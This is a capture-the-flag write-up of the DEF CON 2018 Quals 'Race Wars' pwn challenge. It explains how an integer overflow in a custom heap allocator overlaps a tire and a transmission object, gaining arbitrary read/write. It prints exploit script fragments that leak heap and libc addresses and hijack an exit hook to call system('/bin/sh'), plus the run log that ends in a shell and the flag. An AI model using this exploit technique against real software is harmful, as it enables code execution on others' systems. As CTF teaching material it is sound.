Defcon Quals 2018 - Race Wars

If you can’t get RIP on this challenge, you don’t belong near a computer.

2f76febe.quals2018.oooverflow.io:31337

Attachment: racewars xpl.py libc-2.23.so pow.py

Team: Samurai

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
I gotta get you racing again
so I can make some money off your ass.
There's a show down in the desert
called Race Wars.

I owe you a 10-second car.
And what this is about,
this is about Race Wars.

time to select your car.
pick:
	(1) tires
	(2) chassis
	(3) engine
	(4) transmission
 CHOICE: 

...

modify your car
pick:
	(1) tires
	(2) chassis
	(3) engine
	(4) transmission
	(5) buy new part
	(6) RACE!
CHOICE: 

Racewars lets us build a car (truth is, we don’t have really many options on doing that ;-)), modify it, and race (which we will always lose).

For storing the information of our current car, the binary is using some kind of “custom allocator”. It will allocate 0x2000 bytes on the heap and put a metadata object at the start of it.

struct CustomHeapMetadata {
	long *Top;
	long *BufferEnd;
	long *NextHeap;
	long *Unknown;
	long Size;
	long *BufferStart;
	long *Unknown2;
	long *Remainder;
	ExitFunc *ExitHook;
	long *Unknown3;
}

struct ExitFunc {
	void* Function;
	char* Args;
	ExitFunc* Next;
}

Directly after this, a chunk for the parts of our car will be placed

struct Car {
	Chassis* Chassis;
	char* Tire1;
	char* Tire2;
	char* Tire3;
	char* Tire4;
	Transmission* Transmission;
	char* Engine;
}

For every part we buy, it will reserve space in this 0x2000 bytes chunk (directly behind the last object), put the part there and increase the Top pointer accordingly, so it will always point to the next free place in the custom heap.

If we add up more parts than fitting in this 0x2000 chunk, it will alloc additional space on the heap, and put according pointers into the custom heap masterdata. But since this is not needed for exploiting this binary, we won’t bother with this functionality.

struct Chassis {
	long ChassisType;
	Chassis *ChassisPointer;
	char Name[8];	
}

struct Transmission {
	long GearCount;
	byte Manual;
	byte Gears[];
}
0x604000:	0x0000000000000000	0x0000000000002011
0x604010:	0x0000000000604160	0x0000000000606010  <= Custom heap metadata
0x604020:	0x0000000000000000	0x0000000000000000
0x604030:	0x0000000000000fff	0x0000000000604010
0x604040:	0x0000000000000000	0x0000000000000000
0x604050:	0x0000000000000000	0x0000000000000000
0x604060:	0x0000000000604118	0x0000000000604098  <= Car
0x604070:	0x0000000000604098	0x0000000000604098
0x604080:	0x0000000000604098	0x0000000000604148
0x604090:	0x0000000000604130	0x0052000f00410000  <= Tire
0x6040a0:	0x000000000050ffff	0x0000000000000000
0x6040b0:	0x0000000000000000	0x0000000000000000
0x6040c0:	0x0000000000000000	0x0000000000000000
0x6040d0:	0x0000000000000000	0x0000000000000000
0x6040e0:	0x0000000000000000	0x0000000000000000
0x6040f0:	0x0000000000000000	0x0000000000000000
0x604100:	0x0000000000000000	0x0000000000000000
0x604110:	0x0000000000000000	0x0000000000000501  <= Chassis
0x604120:	0x0000000000604118	0x000000617474656a
0x604130:	0x0000000000730204	0x0000000000401f26  <= Engine
0x604140:	0x0000000000000000	0x0000000000000005  <= Transmission
0x604150:	0x0000010203040501	0x0000000000000000

When we have completed the car by buying tires, chassis, engine and transmission we get a new menu, in which we can modify the parts or buy new parts. Buying new parts, will reserve new space in the chunk but not free the existing one, they will just get added to the heap.

We can also do the race, but we’ll definitely lose it.

Though after the race is lost, the custom heap will get cleaned up:

void cleanup_heap(CustomHeapMetadata *heap)
{  
  for ( exit_func = heap->exit_funcs; exit_func; exit_func = (ExitFunc *)exit_func->Next )
  {
    if ( exit_func->Function )
      exit_func->Function(exit_func->Args);
  }
  
  // Just freeing the allocated heap chunks
  ...
}

Sooo, it will loop through the list of exit functions (or free hooks, whatever ;-)) and call them before freeing the heap chunks. Those functions aren’t set anywhere in the binary itself, but if we’d be able to overwrite them, we could easily call system("/bin/sh").

But, how to get there? All components are just added to the heap, and free is never called, so some kind of UAF doesn’t seem to be achievable for now.

Let’s see, how we can modify values on the heap at all

void modify_transmission(Transmission *a1)
{
  ...
  printf("ok, you have a transmission with %zu gears\n", a1->GearCount);
  printf("which gear to modify? ");
  __isoc99_scanf("%zu", &gear_index);

  if ( a1->GearCount > --gear_index )
  {
    printf("gear ratio for gear %zu is %zu, modify to what?: ", gear_index + 1, (byte)a1->Gears[gear_index]);
    
    __isoc99_scanf("%zu", &new_value);
    printf("set gear to %d\n? (1 = yes, 0 = no)", new_value);

    __isoc99_scanf("%zu", &choice);

    if ( choice )
      a1->Gears[gear_index] = new_value;
  }
  ...
}

We can specify the gear (offset) and a new byte value to be written there (we can also use this to see the current byte value at that offset). But the only available transmissions have a gear count of 4 and 5. Not much to work with, except we would be able to increase the gear count of our transmission.

Modifying the tires work in a similar way. We can choose to modify aspect ratio, width, diameter and construction which will be stored as int16 on the corresponding offset.

If we could get the binary to allocate a tire “over” a transmission, we can use the tire modification to change the gear count for our transmission (preferable upgrade it to 0xffffffffffffffff). This would enable us using modify_transmission for an arbitrary read and write.

void select_tire(CustomHeapMetadata* heap, int *out_count)
{  
  ...

  puts("how many pairs of tires do you need?");
  __isoc99_scanf("%d", (long)&count);

  if ( count <= 1 )
  {
    puts("you need at least 4 tires to drive...");
    exit(1);
  }

  int alloc_space = 32 * count;
  int16* tire = alloc_space_in_car(heap, alloc_space);

  if ( tire )
    *out_count = 2 * count;

  tire[1] = 0x41;
  tire[3] = 0x52;
  tire[2] = 0xF;
  tire[10] = 0x50
  tire[11] = 0

  puts("all you can afford is some basic tire...");
  puts("but they'll do!\n");

  ...

  return tire;
}

This allocates 32 bytes per tire pair on our custom heap and stores the default settings for them there. But you see? The size for allocation gets stored into an int value. Looks like an integer overflow.

If you buy 0x8000000 pairs, it will pass the first check. But multiplying it with 32 results in 0x1900000000 overflowing the value, so alloc_space is 0. This will return an address on our custom heap but not increase the current Top pointer. Thus, it will set the tire pointers to this address, and any object which we allocate afterwards, will be put into the same address.

Just what we needed to overlap a tire and a transmission object :)

So let’s sum this up:

  • Buy 0x8000000 tire pairs, which will set the tire pointer, but not move Top pointer
  • Buy transmission, ending up inside of our tire object
  • Modify tires to increase gear count to 0xffffffffffffffff
  • Use transmission modification to leak and write to arbitrary addresses
  • Use negative gear offset to read heap pointer from custom heap metadata
def exploit(r):
  if not LOCAL:
    solve_pow()

  r.recvuntil("CHOICE: ")

  log.info("Buy 0 tires (Sets tire address, but not increase custom top pointer)")

  buy_tires(0x80000000)

  log.info("Create transmission (inside tire object)")

  buy_transmission(1)

  log.info("Complete car")

  buy_chassis(1)
  buy_engine()

  log.info("Upgrade tires to set transmission gear count to max for arbitrary read/write")
  
  upgrade_tires(1, 0xffff)
  upgrade_tires(2, 0xffff)
  upgrade_tires(3, 0xffff)
  upgrade_tires(4, 0xffff)

  log.info("Leak heap address with negative offset")
  
  LEAK = read_address(-0x90)
  HEAP = LEAK - 0xe0

  log.info("HEAP              : %s" % hex(HEAP))
[*] Buy 0 tires (Sets tire address, but not increase custom top pointer)
[*] Buy tires         : 0x8000000
[*] Create transmission (inside tire object)
[*] Buy transmission  : 1
[*] Complete car
[*] Buy chassis       : 1
[*] Buy engine
[*] Upgrade tires to set transmission gear count to max for arbitrary read/write
[*] Upgrade tires     : 1 => 0xffff
[*] Upgrade tires     : 2 => 0xffff
[*] Upgrade tires     : 3 => 0xffff
[*] Upgrade tires     : 4 => 0xffff
[*] Leak heap address with negative offset
[*] HEAP              : 0x604000

So, now that we know, where the heap starts, we can calculate the needed gear offset to read a got entry from bss to leak a libc address.

log.info("Leak got address")
  
PUTS = read_address(-(HEAP + 0xa0 - 0x603020))
libc.address = PUTS - libc.symbols["puts"]
  
log.info("PUTS              : %s" % hex(PUTS))  
log.info("LIBC              : %s" % hex(libc.address))
[*] Leak got address
[*] PUTS              : 0x7ffff7a7c690
[*] LIBC              : 0x7ffff7a0d000

Since we now know libc addresses, we can create an ExitFunc chunk on the heap containing a call to system and a pointer to /bin/sh as argument.

log.info("Write free functions to heap (func + args)")

write_value(HEAP + 0x300 - 0xa0 , libc.symbols["system"])
write_value(HEAP + 0x308 - 0xa0 , next(libc.search("/bin/sh")))

Next, we just have to overwrite the ExitHook pointer in our custom heap metadata pointing to this chunk.

log.info("Overwrite free function pointer in car")
  
write_value(HEAP + 0x50 - 0xa0 , HEAP+0x300)

With this, everything’s prepared for the race.

We’ll lose it and the cleanup method will find our ExitHook pointer and call it, resulting in triggering system("/bin/sh")

log.info("Race to trigger system('/bin/sh')")
  
r.sendline("6")
[*] '/vagrant/Challenges/dc18/racewars/racewars'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/vagrant/Challenges/dc18/racewars/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 2f76febe.quals2018.oooverflow.io on port 31337: Done
[+] Starting local process './pow.py': pid 1832
[*] Stopped process './pow.py' (pid 1832)
[*] Buy 0 tires (Sets tire address, but not increase custom top pointer)
[*] Buy tires         : 0x8000000
[*] Create transmission (inside tire object)
[*] Buy transmission  : 1
[*] Complete car
[*] Buy chassis       : 1
[*] Buy engine
[*] Upgrade tires to set transmission gear count to max for arbitrary read/write
[*] Upgrade tires     : 1 => 0xffff
[*] Upgrade tires     : 2 => 0xffff
[*] Upgrade tires     : 3 => 0xffff
[*] Upgrade tires     : 4 => 0xffff
[*] Leak heap address with negative offset
[*] HEAP              : 0xc5a000
[*] Leak got address
[*] PUTS              : 0x7fc8d0427690
[*] LIBC              : 0x7fc8d03b8000
[*] Write free functions to heap (func + args)
[*] Write to 0xc5a260 : 0x7fc8d03fd390
[*] Write to 0xc5a268 : 0x7fc8d0544d57
[*] Overwrite free function pointer in car
[*] Write to 0xc59fb0 : 0xc5a300
[*] Race to trigger system('/bin/sh')
[*] Switching to interactive mode
choice 6
johnny tran smoked you in his s2k...
$ cat flag
OOO{4 c0upl3 0f n1554n 5r205 w0uld pull 4 pr3m1um 0n3 w33k b3f0r3 r4c3 w4rz}